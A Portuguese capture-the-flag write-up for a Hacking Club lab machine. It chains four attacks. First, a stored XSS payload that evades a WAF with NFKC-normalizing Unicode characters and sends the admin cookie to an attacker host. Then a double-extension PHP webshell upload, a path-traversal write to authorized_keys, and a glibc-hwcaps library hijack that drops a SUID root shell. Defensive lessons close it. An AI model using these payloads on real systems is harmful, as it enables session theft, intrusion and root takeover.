Máquina Linux Hard da Hacking Club que encadeia quatro vulnerabilidades: stored XSS com bypass de WAF via normalização Unicode NFKC para roubo da sessão do admin, file upload com dupla extensão para RCE, path traversal numa API interna para escrita arbitrária de arquivos, e shared library hijacking via glibc-hwcaps para escalação a root.
Recon
rustscan -a university.hc -- -sV
O scan revelou apenas SSH e um Apache:
O acesso direto por IP retorna 403; a aplicação só responde com o Host university.hc. É uma universidade fictícia (“Digital University”) com registro e login de estudante.
Depois de registrar uma conta em /register e autenticar, o menu expõe /online-teacher, que leva ao formulário POST /send_message (parâmetros subject e question) — um canal para enviar dúvidas a um professor. O professor é um bot que abre cada mensagem, o que torna o campo question um alvo de XSS armazenado. A aplicação também tem GET /next?redirect= funcionando como redirect interno.
Foothold
WAF mapping
O campo question passa por um WAF que responde 403 a qualquer payload com construções de XSS. Testando incrementalmente identifiquei a blocklist:
- Tags:
<script>,<img>,<svg>,<body>,<meta> - Handlers via regex
on\w+= - Funções:
alert,confirm,eval,atob,fetch - Acesso ao DOM:
document.cookie,location,javascript: - Globais:
self,this,window,top
O detalhe que abre o bypass: a resposta 403 do WAF usa charset=iso-8859-1, enquanto as respostas normais usam UTF-8. O WAF inspeciona a string crua, antes de qualquer normalização do backend.
Unicode NFKC bypass
O controller do admin normaliza o conteúdo da mensagem com \Normalizer::normalize($q, \Normalizer::FORM_KC) (NFKC) antes de renderizar para o professor, mas o WAF não. Caracteres Unicode que colapsam para ASCII sob NFKC passam batido pela blocklist e voltam a ser ASCII no browser do bot.
A base é o bloco fullwidth (U+FF01–FF5E), onde cada caractere normaliza para o ASCII equivalente (o→o, .→.), mais alguns equivalentes dedicados (﹦ U+FE66 → =, + U+FF0B → +). Só com isso o WAF ainda barra dois tokens, porque os bloqueia mesmo na forma fullwidth: img e cookie. A solução é quebrar cada token com um modifier letter que também normaliza:
<imᵍ>—gvira superscript U+1D4D (NFKC →g), então o WAF não vê a stringimgcooᵏie—kvira superscript U+1D4F (NFKC →k), então o WAF não vê a stringcookie
Gerei e validei o payload garantindo que a forma crua não contém nenhum token bloqueado em ASCII e que NFKC(payload) reconstrói exatamente o HTML desejado:
Final payload
Forma enviada (passa o WAF):
<imᵍ src﹦x onerror﹦document.location﹦"http://<ATTACKER_IP>:8000/?c﹦"+document.cooᵏie>
Sob NFKC esse payload reconstrói o <img src=x onerror=document.location="http://<ATTACKER_IP>:8000/?c="+document.cookie> no browser do bot.
Envio (a conta de estudante autenticada serve para postar a mensagem):
curl -s -b "PHPSESSID=<SESSION>" "http://university.hc/send_message" --data-urlencode "subject=Calculus II doubt" --data-urlencode "question=$(cat payload_raw.txt)"
Interceptado no Burp, o request mostra o payload fullwidth chegando intacto ao servidor — o WAF não casa <img>/cookie (escondidos sob os caracteres Unicode) e a aplicação responde 200 com “Message sent”, confirmando o bypass:
Com um python3 -m http.server 8000 ouvindo, o bot abriu a mensagem em ~20s e o onerror exfiltrou a sessão do admin direto para o meu listener:
CSP e por que o onerror inline executa
A aplicação devolve um Content-Security-Policy em toda resposta.
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'
O token 'unsafe-inline' dentro do script-src autoriza handlers de evento inline como onerror e onload, então o <img onerror> roda direto no browser do bot e não existe bypass de CSP a fazer. A exfiltração por document.location é uma navegação top-level que o CSP nem governa, enquanto um fetch() para fora cairia no default-src 'self', mas a navegação passa sem problema.
Foi por isso que o GET /next?redirect= (um open redirect same-origin) não foi necessário. Ele só importaria sob um script-src 'self' puro, sem 'unsafe-inline', onde o onerror morreria e a única execução viável seria carregar um script same-origin como <script src="/next?redirect=//attacker/x.js">, abusando do redirect para escapar da allowlist. Com o 'unsafe-inline' presente esse caminho vira só um detour opcional.
File upload to RCE
Com o PHPSESSID do admin, o painel /professor libera um upload de arquivos.
O controller (Admin::index) valida apenas o Content-Type enviado pelo cliente, e move o arquivo com o nome original sem sanitizar a extensão:
if ($fileType === "image/jpeg") {
move_uploaded_file($file['tmp_name'], $uploadDir . $fileName);
}
Como o Apache executa qualquer arquivo cujo nome contenha .php, a dupla extensão .php.jpg com Content-Type: image/jpeg resulta em execução. A validação olha só o header Content-Type (controlado pelo cliente), então nem é preciso forjar o conteúdo do arquivo — uma webshell PHP pura com nome sh.php.jpg e Content-Type: image/jpeg basta. O request multipart e a confirmação do servidor no Burp:
Passo o comando em base64 (c=$(echo -n 'id; hostname' | base64)) porque o mesmo WAF inspeciona a query string e barra pipes e palavras-chave; assim a URL nunca exibe os tokens bloqueados. O arquivo é servido em /uploads/sh.php.jpg e executa como www-data:
Lateral Movement
A enumeração interna pela webshell mostrou uma API Express (“Document Portal” v2.4.1) escutando em 127.0.0.1:8080, rodando como o usuário service a partir de /home/service/api/app/:
Os endpoints visíveis são GET /docs e GET /health. Fuzzando os métodos, POST /upload existe (retorna 400 em vez de 404) e aceita multipart. O nome do arquivo do multipart é usado direto na escrita, sem normalizar ../ — escrita arbitrária com os privilégios de service. Apontei o traversal para o authorized_keys do service e entrei por SSH com a chave injetada:
Com acesso como service, a flag de user foi obtida em /home/service/user.txt.
Privilege Escalation
O service tem um sudo NOPASSWD bem específico:
Como o service pode rodar o binário como root, copiei o backup_manager para a máquina de ataque e o disassemblei. O main monta um comando tar com o diretório recebido e o executa via system(), cercado por duas chamadas a log_message — uma função que o binário não define, resolvida pela PLT:
00000000000010f0 <log_message@plt>:
10f0: endbr64
10f4: jmp QWORD PTR [rip+0x2ed6] # 3fd0 <log_message@Base>
00000000000011e9 <main>:
...
1283: call 10e0 <snprintf@plt>
128f: mov rdi,rax
1292: call 10f0 <log_message@plt>
...
12e8: lea rax,[rbp-0x210]
12ef: call 10c0 <system@plt>
...
130d: mov rdi,rax
1310: call 10f0 <log_message@plt>
...
A entrada log_message@plt salta para um slot da GOT (log_message@Base) preenchido pelo loader em runtime — ou seja, o símbolo vem de uma biblioteca externa, não do binário. O readelf mostra de qual: liblogger.so, declarada NEEDED, com RUNPATH /usr/local/lib:
O ponto crítico é como o loader resolve essa lib: ele procura nos subdiretórios glibc-hwcaps/ que o processador suporta antes do diretório base. A CPU do alvo suporta x86-64-v3, então a lib é carregada de lá — e esse diretório é gravável por qualquer um:
Compilei uma liblogger.so maliciosa nesse slot, com um stub do símbolo log_message (que o binário espera) e um constructor que roda no carregamento, antes do main:
// evil.c
#include <stdlib.h>
#include <unistd.h>
void log_message(const char *m){ (void)m; } // stub do símbolo esperado
__attribute__((constructor)) void init(){
setuid(0); setgid(0);
system("cp /bin/bash /tmp/.rootbash && chmod 4755 /tmp/.rootbash");
}
Bastou disparar o binário via sudo: o linker carrega minha lib do slot gravável, o constructor roda como root e cria um bash SUID:
Após a escalação, a flag de root foi lida em /root/root.txt.
Lessons Learned
- Um WAF que filtra a string crua e um backend que normaliza Unicode (NFKC) são camadas dessincronizadas: o atacante escolhe uma representação que escapa o filtro e colapsa para o payload no destino. Validação e sanitização precisam acontecer na mesma forma normalizada.
- Validar upload por
Content-Typeé inútil — o cliente controla esse header. A defesa real é normalizar a extensão, servir uploads de um diretório sem execução, e nunca confiar no nome do arquivo. - O loader procura bibliotecas em
glibc-hwcaps/<nível>antes do diretório base; qualquer um desses subdiretórios gravável é um vetor de hijacking equivalente a umLD_LIBRARY_PATHpermanente para binários com sudo.
Impact
- A Digital University expõe os dados pessoais e acadêmicos dos seus estudantes: ao sequestrar a sessão do administrador, o atacante alcança matrículas, notas e comunicações privadas — um vazamento sujeito à LGPD.
- Com root no servidor, ele pode adulterar registros (notas, históricos), derrubar o portal em período letivo crítico e acessar qualquer dado em repouso.